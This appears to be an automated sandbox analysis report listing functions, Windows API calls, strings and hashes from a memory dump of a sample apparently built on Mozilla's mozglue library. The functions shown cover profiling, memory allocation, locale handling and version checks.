Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: $me/
API String ID: 2325513730-2210144079
Opcode ID: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction ID: c13dc97cc5648fc43a708a2da498cffbb8f868fae64557655b6483b24a3b4188
Opcode Fuzzy Hash: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction Fuzzy Hash: 504171307002058FDB24DF65C9D8AAE77B9EF49358F14406CE50A9B791EB36D805CF65

Function 6C329620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
$me/, xrefs: 6C32959E, 6C329632
MapViewOfFileNuma2, xrefs: 6C3297B1
ntdll.dll, xrefs: 6C3296E3
NtMapViewOfSection, xrefs: 6C329701

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: $me/$Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3466834982
Opcode ID: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction ID: f63a5aa932b7910d252d0aae09dd38f3404c754ba53c40d069741cdddfb4203a
Opcode Fuzzy Hash: 08a7c7736d0b42845566a0c951a07d41a33562b85447a8a92f1b6e9d5ead5160
Instruction Fuzzy Hash: 79415D75B003059BDF00DFA9E884A9A77B8EB4D3A8F104529FD5597740E736A814CFA1

Function 6C314480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C354843,?), ref: 6C3145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C354843,?), ref: 6C31468A
free.MOZGLUE(?,?,?,?,?,?,6C354843,?), ref: 6C3146C9
free.MOZGLUE(?), ref: 6C3146EF
free.MOZGLUE(?), ref: 6C314712
free.MOZGLUE(?), ref: 6C314735
free.MOZGLUE(?), ref: 6C314758
free.MOZGLUE(?), ref: 6C31477B
free.MOZGLUE(?), ref: 6C31479E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction ID: 5ee13308d0121941bee381ee34583acc5ab6ad2239753d4e058a82e9addaca5d
Opcode Fuzzy Hash: f1ead27c6a432826dc49cd8720b75d7cf589180d92d8cccd7ef205222e8c922b
Instruction Fuzzy Hash: 94B1E372A081518FDB1C9E3CD89076D76A6AF4232CF184629E466DFFC6D732D8408F92

Function 6C360F40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C360F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C360F88
GetCurrentThreadId.KERNEL32 ref: 6C360FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C361067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C3610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C36114B

Part of subcall function 6C358AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C371563), ref: 6C358BD5

free.MOZGLUE(?), ref: 6C361174
free.MOZGLUE(?), ref: 6C361186

Strings

$me/, xrefs: 6C360F58

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: $me/
API String ID: 2803333873-2210144079
Opcode ID: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction ID: da65802ad79560f82c8a80a616b542c303fb5d4f77c1fa50f574a6bb5ecfa2f7
Opcode Fuzzy Hash: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction Fuzzy Hash: A161B375A043409BDB10CF26D980B9AB7F9BFC5308F04891DE99947B15EB32E549CF92

Function 6C360000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C360039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C360041
GetCurrentThreadId.KERNEL32 ref: 6C360075
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C360082
moz_xmalloc.MOZGLUE(00000048), ref: 6C360090
free.MOZGLUE(?), ref: 6C360104
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C36011B

Strings

$me/, xrefs: 6C360012
[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C36005B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: $me/$[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-3836061063
Opcode ID: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction ID: 0ed58c4f2fef29d49a96b4c393eb736b9b4bd1848d752e49749f2927d62e897e
Opcode Fuzzy Hash: e39efd33e8f29148c408e0f91df0545e4389c5868638da82e87f268b6b159dfd
Instruction Fuzzy Hash: 1241A0B65003449FCB10CF65C841A9ABBF5FF49318F40491DE99A87B40E732B815CF96

Function 6C327E90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C327EA7
malloc.MOZGLUE(00000001), ref: 6C327EB3

Part of subcall function 6C32CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C32CB49
Part of subcall function 6C32CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C32CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C327EC4
mozalloc_abort.MOZGLUE(?), ref: 6C327F19
malloc.MOZGLUE(?), ref: 6C327F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C327F4D

Strings

d, xrefs: 6C327F89
$me/, xrefs: 6C327E9C, 6C327F2B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: $me/$d
API String ID: 204725295-494491
Opcode ID: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction ID: 1fa4253cd4f2b5ea309a1e41061b928f97e14192273ffba3b01434dc9e5a0bba
Opcode Fuzzy Hash: d31150e0afc9bbbe56fbcc41738b169183d63b26faf9a6d120a8585e60632baa
Instruction Fuzzy Hash: 10310761E0434997DF009B68DC049FEB77CFF96218F049229DD8957612FB31A588C791

Function 6C38B540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C38B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C38B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C38B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C38B5F4
__Init_thread_footer.LIBCMT ref: 6C38B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C38B61F
std::_Facet_Register.LIBCPMT ref: 6C38B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C38B655

Strings

$me/, xrefs: 6C38B54B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: $me/
API String ID: 1276798925-2210144079
Opcode ID: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction ID: 86b7fa5f4454a5288ac498650b8351fc3ab33431175f667094d3b799803a9a18
Opcode Fuzzy Hash: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction Fuzzy Hash: 5D31A771B00205CBCF10DF69C8949AEB7B9FF89329B140519E9469B790EB72A906CFD1

Function 6C31ECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C31ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C31EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C31EDCC
CreateFileW.KERNEL32 ref: 6C31EE08
free.MOZGLUE(00000000), ref: 6C31EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C31EE32

Part of subcall function 6C31EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C31EBB5
Part of subcall function 6C31EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C34D7F3), ref: 6C31EBC3
Part of subcall function 6C31EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C34D7F3), ref: 6C31EBD6

Strings

$me/, xrefs: 6C31ECDC
\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C31EDC1

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: $me/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-1907522573
Opcode ID: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction ID: 7b389d2fc62df0bf788bfc67ccaf50a6de8bff69e3e722f2a39556bfc7823d6e
Opcode Fuzzy Hash: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction Fuzzy Hash: 1851B071D093048FDB049F68D8446EEB7B4AF49318F44852DE8956BF40E7366988CFE2

Function 6C38A520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A565

Part of subcall function 6C38A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C38A4BE
Part of subcall function 6C38A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C38A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C38A6B6

Strings

$me/, xrefs: 6C38A539
z, xrefs: 6C38A6AE
0, xrefs: 6C38A5FB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: $me/$0$z
API String ID: 310210123-2206983273
Opcode ID: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
Instruction ID: 87c508578c5774022e8fdd4927ff58e1d237ae2ad19804a667870f7ec9ba3911
Opcode Fuzzy Hash: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
Instruction Fuzzy Hash: F24117719097499FC341DF28C080A8BBBE5BF89358F408A2EF49987694EB30D549CF93

Function 6C361D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C361D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D4C
GetCurrentThreadId.KERNEL32 ref: 6C361DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C361DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C361DDA

Part of subcall function 6C361EF0: GetCurrentThreadId.KERNEL32 ref: 6C361F03
Part of subcall function 6C361EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C361DF2,00000000,00000000), ref: 6C361F0C
Part of subcall function 6C361EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C361F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C361DF4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Strings

$me/, xrefs: 6C361D83

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: $me/
API String ID: 1880959753-2210144079
Opcode ID: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction ID: 3545477098e4a953214c78630ac3034df8044298e62deeba43d54f06559a5adf
Opcode Fuzzy Hash: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction Fuzzy Hash: A8417BB56007009FCB14DF29D488A56BBF9FF49718F10442EE99A87B41DB72F854CB91

Function 6C321640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C321699
VerSetConditionMask.NTDLL ref: 6C3216CB
VerSetConditionMask.NTDLL ref: 6C3216D7
VerSetConditionMask.NTDLL ref: 6C3216DE
VerSetConditionMask.NTDLL ref: 6C3216E5
VerSetConditionMask.NTDLL ref: 6C3216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3216F9

Strings

$me/, xrefs: 6C32164C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: $me/
API String ID: 375572348-2210144079
Opcode ID: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction ID: 77b91fde18ffd0e196ced20a723f8305c5609610cf31db078fb50b5cc12e6e5c
Opcode Fuzzy Hash: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction Fuzzy Hash: 1521D2B07402086BEB106E688C85FBB737CEFC6718F044528F6459B6C0D679DD548BA2

Function 6C323E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C323EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C323FDC
RtlAllocateHeap.NTDLL ref: 6C324006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C323CCC), ref: 6C3240C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C324134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C323CCC), ref: 6C324157

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 75e825f2265885c0d5f69ed37c49df51c2f8b48d661c566cd73fc423d05baaf0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18EB1A00215CFDB50CF68D880699F7B9FF48318F258599D909AF742D776E886CFA0

Function 6C312030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C333F47,?,?,?,6C333F47,6C331A70,?), ref: 6C31207F
memset.VCRUNTIME140(?,000000E5,6C333F47,?,6C333F47,6C331A70,?), ref: 6C3120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C333F47,6C331A70,?), ref: 6C31211A
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C333F47,6C331A70,?), ref: 6C3121BA
EnterCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C3121E0
LeaveCriticalSection.KERNEL32(6C39E744,?,6C333F47,6C331A70,?), ref: 6C312232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C312253, 6C312268
MOZ_CRASH(), xrefs: 6C31227D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction ID: fb63803ff7b9bb34fdf301260f3b679a43efa881edd17b5260186a18cc38ad02
Opcode Fuzzy Hash: 97b0bf933cca60b0c48442f0fbe909fb3745c5a922b5f7f3b40a5ae6f270d442
Instruction Fuzzy Hash: 1E61C632F042168FCB08CE69CA8976E76B5AF86318F254235E564A7E94E7739C04CFD1

Function 6C36DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C36DDCF

Part of subcall function 6C34FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C34FA4B

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE0D
free.MOZGLUE(00000000), ref: 6C36DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF32

Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DB86
Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF65
free.MOZGLUE(?), ref: 6C36DF80

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
